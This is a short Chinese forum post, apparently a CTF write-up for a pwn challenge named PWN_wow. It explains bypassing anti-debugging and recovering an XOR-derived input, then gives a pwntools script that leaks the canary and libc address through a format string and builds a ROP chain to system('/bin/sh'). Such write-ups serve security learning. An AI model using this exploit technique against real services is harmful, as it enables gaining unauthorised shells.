-
-
[原创]第三题 PWN_wow
-
发表于:
2018-6-21 12:56
2067
-
先patch掉反调，然后单步跟进，发现读入六个字节，然后拿去做异或，修改后面的代码。
待修改的代码会出现连续三个一样的字符，猜测应该是00，于是得到输入为evXnaK。
之后出现一次printf和简单栈溢出，于是先泄漏canary和libc，然后ROP。
def exploit(r):
r.clean()
r.send('\x65\x76\x58\x6e\x61\x4b')
r.clean()
r.send('%13$p@%15$p'.ljust(26, '#'))
tmp = r.recvuntil('###', drop=True)
r.clean()
tmp = tmp.split('@')
canary = int(tmp[0], 16)
libc.address = int(tmp[1], 16) - libc.sym['__libc_start_main'] - 240
info(canary)
info('%016x libc.address', libc.address)
raw_input('#')
r.send(flat('a'*88, canary, 0, 0x400b23, libc.search('/bin/sh').next(), libc.sym['system']).ljust(0x200, '\x00'))
r.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
